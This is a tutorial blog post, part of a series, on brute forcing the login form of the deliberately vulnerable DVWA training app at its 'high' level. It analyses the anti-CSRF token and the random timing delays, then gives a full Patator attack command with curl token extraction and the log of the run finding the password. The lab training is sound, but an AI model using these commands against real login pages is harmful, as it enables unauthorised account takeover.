2015-11-09

This is a [SERIES of blog posts][1], which will all relate to one another, but will take time.

I'm publishing as I go, but will come back and edit them in places at a later date - as well as adding in videos.

Best to check back when there is the "Undocumented" Bugs/Vulnerabilities post (that will be the last post!) ;-).

This is the final "how to" guide which brute focuses Damn Vulnerable Web Application (DVWA), this time on the high security level. It is an expansion from the "low" level (which is a straightforward HTTP GET form attack). The main login screen shares similar issues (brute force-able and with anti-CSRF tokens). The only other posting is the "medium" security level post (which deals with timing issues).



For the final time, let's pretend we do not know any credentials for DVWA....

Let's play dumb and brute force DVWA... once and for all!

TL;DR: Quick copy/paste

Table of Contents

Objectives

Setup

Tools

Creating a Session Cookie

Information Gathering

Form HTML Code

CSRF Token Checking

Timings

Patator

Patator Documentation

Patator Attack Command

Burp Suite

Configure Burp

Macro

Intruder

Hydra

Proof of Concept Scripts

Bash Template

Python Template

Summary

Objectives

The goal is to brute force an HTTP login page.

GET requests are made via a form.

The web page is in a sub folder.

Low

Straight forward HTTP GET brute force attack via a web form.

Bonus: SQL injection (
See here for more information
).

Medium

Extends on the "low" level - HTTP GET attack via a web form.

Adds in a static time delay (4 seconds) on failed logins.

High

Extends on the "low" level - HTTP GET attack via a web form.

Uses an anti Cross-Site Request Forgery (CSRF) token.

This time uses a random time delay (between 0 and 4 seconds).

Impossible

Submits data via HTTP POST via web form

Accounts will lock out after 5 failed logins.

Time delay before becoming unlocked (15 minutes).

Unable to enumerate users on the system.

Possible "Denial of Service (DoS)" vector.

PHPIDS

Does not protect against this attack.

All attack methods are still the same!

Setup

Main target: DVWA v1.10 (Running on Windows Server 2012 Standard ENG x64 + IIS 8).

Target setup does not matter too much for this - Debian/Arch Linux/Windows, Apache/Nginx/IIS, PHP v5.x, or MySQL/MariaDB.

The main target is on the IP (192.168.1.44), port (80) and subfolder (/DVWA/), which is known ahead of time.

Because the target is Windows, it does not matter about case sensitive URL requests (/DVWA/ vs /dvwa/).

Attacker: Kali Linux v2 (+ Personal Custom Post-install Script).

Shell prompt will look different (due to ZSH/Oh-My-ZSH).

Added colour to tools output (thanks to GRC).

Pre-installed tools (such as html2text).

Both machines are running inside a Virtual Machine (VMware ESXi).

Tools

cURL - Information gathering (used for viewing source code & automate generating sessions).

Patator v0.7 - A brute force tool.

So far, we were using v0.5, however this does not have the before_header function. Time to upgrade!

Burp Proxy v16.0.1 - Debugging requests & brute force tool

Using FoxyProxy to switch proxy profiles in Iceweasel.

SecLists - General wordlists.

These are common, default and small wordlists.

Instead of using a custom built wordlist, which has been crafted for our target (e.g. generated with CeWL).

Creating a Session Cookie

This was explained back in the first post for the low level setting. Again, this post will be using the low level posting, and expanding on it. I will not be covering certain parts in depth here, because I already mentioned them in other posts. If a certain area is does not make sense, I strongly suggest you read over the low security post first (and maybe the medium one too).

The cookie command has not changed, plus the target has not changed, which means the output and result will be the same.



Note, depending on the web server and its configuration, it may respond slightly differently (in the screenshot: 192.168.1.11 is Nginx,192.168.1.22 is Apache & 192.168.1.44 is IIS). This is a possible method to fingerprint an IIS web server.

Information Gathering

Form HTML Code

First thing we need to do is to figure out how this level is different from both of the ones before it (low and medium). We could use DVWA's in-built function to allow us to look at the PHP source code (which is stored on the server), however, let's try and figure it out ourselves as we would be doing if it was any other black box assessment. Using the same commands as before, let's see what was returned in the initial HTML response that makes up the web form.

Unlike the times before, this is not the same! There is now an extra input field between the <form></form> tags, call user_token! We can highlight this by using diff to compare the low and high levels.



Based on the name (user_token), the field is hidden, and as the value appears to be a MD5 value (due to its length and character range), these are all indications of the value being used for an anti-CSRF (Cross-Site Request Forgery) token. If this is true, it will make the attack slightly more complex (as testing each combination could require a new token), and we will not be able to use certain tools (such as Hydra, unless we permanently have it using a proxy).

CSRF Token Checking

Comparing requests:

Is the value in the hidden field (user_token) static? What happens if we make two normal requests and compare the responses?

So it looks when you request a new page, the web app generates a new token (even more proof it is an anti-CSRF token).

Redirects:

What happens when we try to send a request? Once again we are pretending we do not know any valid credentials to login with (and there is still not a register/sign up page!), so we will just pick values at random, knowing they will fail (user/pass).

The page loads as normal. But what happens if we repeat the last request, re-using the same CSRF token (which now would be invalid)? Are we able to-do a similar trick as we did in the main login screen, where we get a valid session and then kept using it over and over?

The page did not respond the same! Let's dig deeper...

Just like before, we are being redirected after submitting, however this time it only happens when the CSRF token is incorrect - not the credentials. Something to keep in mind, would the page we are being redirected to different depending if the login was successful? Now, let's follow the redirect and see what is returned.

See how we get the message three times? So we are able to send multiple requests, but only show the results when the CSRF token is valid.

We are going to cheat a little here, and see what happens when we make a successful login, and compare it to an invalid one, both with an invalid CSRF token. If there are any differences (e.g. where we are being redirected to, page size, cookies etc.), is the web application checking the credentials even if the CSRF is invalid? If it is, we might be able to use this as a marker to bypass the CSRF function.

Nope. Sending valid credentials does not make a difference (same redirected page, same length, same cookie). Nothing to use as a marker (unlike the login screen ). This means the web application is processing the CSRF token and does not proceed any further.

Invalid token request:

Is there a way to somehow bypass the CSRF check? We already know what happens if we do not send the correct value in the CSRF token, but what happens if the token is blank, if the token field is missing, if the token value contains characters out of its normal range (0-f), or, if the token value is too short/long?

All failed.

The only other way to try and bypass this protection would be to predict the value. Is the "seed" (the method used to generate the token) weak? Example, what if it was only the timestamp in a MD5? However, I am going to skip doing this, because I know it is a dead end in this case.

All of this means we need to include a unique value in each request during the brute force attack, so we make a GET request before sending the login credentials in another GET request. This in itself will limit what tools we can use (e.g. Hydra v8.1 does not support this - only solution would be to use a Proxy and have it alter Hydra's requests). Plus, due to the nature of the web application being slightly different (e.g. having to be already authenticated at the screen we want to brute force), this is going to make it even more difficult. Example, the version of Patator we have been using (v0.5) does not support this, however v0.7 does! Having to be logged into the web application, means we have to use a fixed session value (PHPSESSID), which will mean we only have one user_token at a time. Using multiple threads, will make multiple GET requests to get a user_token and each request resets the value, thus making the last request the only valid value (so some request would never be valid, even with the correct login details). Single thread attack, once again.

Timings

When doing our CSRF checks, we noticed that the web application response time was not always the same (unlike Medium where it would always take an extra 3 seconds).

There's a mixture of time delays, between 0-4 seconds. However, due to the "logged in CSRF token" mentioned before we are going to have to be using a single thread - so just make sure the time out value is greater than 4 seconds.

Patator

Patator is able to request a certain URL before trying a combination attempt (using before_urls), and can then extract a certain bit of information (before_egrep) to include it in the attack (e.g. _CSRF_). As already mentioned, having to be already authenticated to web application in order to brute force a form is slightly different. Lucky, Patator v0.7 can also send a header (before_header) to make sure the requests are always as an authenticated user.
Note, in the low and medium levels, we were using v0.5.

Patator Documentation

Compared to the low level, the only extra arguments we are now using:

before_urls - this will be the same URL as we are trying to brute force as it contains CSRF value we wish to acquire.

before_header - this will be the same as the header (because we need to be authenticated to being with).

before_egrep - this is where the magic will happen. This extracts the CSRF token value from the page, so we can re-use it in the main request.

We know to use <input type='hidden' name='user_token' value='...' /> due to the information we gathered using cURL.

Patator uses regular expressions (egrep) in order to locate the wanted CSRF value - (\w+).

We will assign the extracted value to the variable _CSRF_ so we can use it in the same matter as the wordlists - &user_token=_CSRF_.

--max-retries - is not really required, just carried over from the medium level.

If you would like to see what is happening behind the scenes, here is a screenshot of the attack with a proxy being used.

Patator Attack Command

[root:~]# CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
[root:~]# SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
[root:~]# curl -s -b dvwa.cookie -d "username=admin&password=password&user_token=${CSRF}&Login=Login" "192.168.1.44/DVWA/login.php" >/dev/null
[root:~]#
[root:~]# python patator.py http_fuzz method=GET follow=0 accept_cookie=0 --threads=1 timeout=5 --max-retries=0 \
url="http://192.168.1.44/DVWA/vulnerabilities/brute/?username=FILE1&password=FILE0&user_token=_CSRF_&Login=Login" \
1=/usr/share/seclists/Usernames/top_shortlist.txt 0=/usr/share/seclists/Passwords/rockyou-40.txt \
header="Cookie: security=high; PHPSESSID=${SESSIONID}" \
before_urls="http://192.168.1.44/DVWA/vulnerabilities/brute/" \
before_header="Cookie: security=high; PHPSESSID=${SESSIONID}" \
before_egrep="_CSRF_:<input type='hidden' name='user_token' value='(\w+)' />" \
-x quit:fgrep!='Username and/or password incorrect'
16:12:32 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-11-06 16:12 GMT
16:12:32 patator INFO -
16:12:32 patator INFO - code size:clen time | candidate | num | mesg
16:12:32 patator INFO - -----------------------------------------------------------------------------
16:12:32 patator INFO - 200 10639:5033 0.047 | 123456:root | 1 | HTTP/1.1 200 OK
16:12:32 patator INFO - 200 10552:5033 0.037 | 123456:admin | 2 | HTTP/1.1 200 OK
16:12:34 patator INFO - 200 10552:5033 1.051 | 123456:test | 3 | HTTP/1.1 200 OK
16:12:35 patator INFO - 200 10552:5033 1.050 | 123456:guest | 4 | HTTP/1.1 200 OK
16:12:36 patator INFO - 200 10552:5033 1.051 | 123456:info | 5 | HTTP/1.1 200 OK
16:12:37 patator INFO - 200 10552:5033 1.040 | 123456:adm | 6 | HTTP/1.1 200 OK
16:12:37 patator INFO - 200 10552:5033 0.039 | 123456:mysql | 7 | HTTP/1.1 200 OK
16:12:40 patator INFO - 200 10552:5033 3.049 | 123456:user | 8 | HTTP/1.1 200 OK
16:12:44 patator INFO - 200 10552:5033 4.034 | 123456:administrator | 9 | HTTP/1.1 200 OK
16:12:45 patator INFO - 200 10552:5033 1.056 | 123456:oracle | 10 | HTTP/1.1 200 OK
16:12:47 patator INFO - 200 10552:5033 2.044 | 123456:ftp | 11 | HTTP/1.1 200 OK
16:12:50 patator INFO - 200 10552:5033 3.052 | 12345:root | 12 | HTTP/1.1 200 OK
16:12:53 patator INFO - 200 10552:5033 3.056 | 12345:admin | 13 | HTTP/1.1 200 OK
16:12:54 patator INFO - 200 10552:5033 0.043 | 12345:test | 14 | HTTP/1.1 200 OK
16:12:55 patator INFO - 200 10552:5033 1.049 | 12345:guest | 15 | HTTP/1.1 200 OK
16:12:57 patator INFO - 200 10552:5033 2.046 | 12345:info | 16 | HTTP/1.1 200 OK
16:12:57 patator INFO - 200 10552:5033 0.040 | 12345:adm | 17 | HTTP/1.1 200 OK
16:12:58 patator INFO - 200 10552:5033 1.040 | 12345:mysql | 18 | HTTP/1.1 200 OK
16:12:59 patator INFO - 200 10552:5033 1.046 | 12345:user | 19 | HTTP/1.1 200 OK
16:13:00 patator INFO - 200 10552:5033 1.072 | 12345:administrator | 20 | HTTP/1.1 200 OK
16:13:00 patator INFO - 200 10552:5033 0.038 | 12345:oracle | 21 | HTTP/1.1 200 OK
16:13:03 patator INFO - 200 10552:5033 3.047 | 12345:ftp | 22 | HTTP/1.1 200 OK
16:13:03 patator INFO - 200 10552:5033 0.035 | 123456789:root | 23 | HTTP/1.1 200 OK
16:13:05 patator INFO - 200 10552:5033 2.048 | 123456789:admin | 24 | HTTP/1.1 200 OK
16:13:05 patator INFO - 200 10552:5033 0.035 | 123456789:test | 25 | HTTP/1.1 200 OK
16:13:08 patator INFO - 200 10552:5033 2.051 | 123456789:guest | 26 | HTTP/1.1 200 OK
16:13:08 patator INFO - 200 10552:5033 0.038 | 123456789:info | 27 | HTTP/1.1 200 OK
16:13:12 patator INFO - 200 10552:5033 4.045 | 123456789:adm | 28 | HTTP/1.1 200 OK
16:13:14 patator INFO - 200 10552:5033 2.052 | 123456789:mysql | 29 | HTTP/1.1 200 OK
16:13:16 patator INFO - 200 10552:5033 2.043 | 123456789:user | 30 | HTTP/1.1 200 OK
16:13:16 patator INFO - 200 10552:5033 0.028 | 123456789:administrator | 31 | HTTP/1.1 200 OK
16:13:17 patator INFO - 200 10552:5033 1.046 | 123456789:oracle | 32 | HTTP/1.1 200 OK
16:13:17 patator INFO - 200 10552:5033 0.038 | 123456789:ftp | 33 | HTTP/1.1 200 OK
16:13:18 patator INFO - 200 10552:5033 1.069 | password:root | 34 | HTTP/1.1 200 OK
16:13:18 patator INFO - 200 10614:5095 0.029 | password:admin | 35 | HTTP/1.1 200 OK
16:13:22 patator INFO - 200 10552:5033 4.035 |<

Show more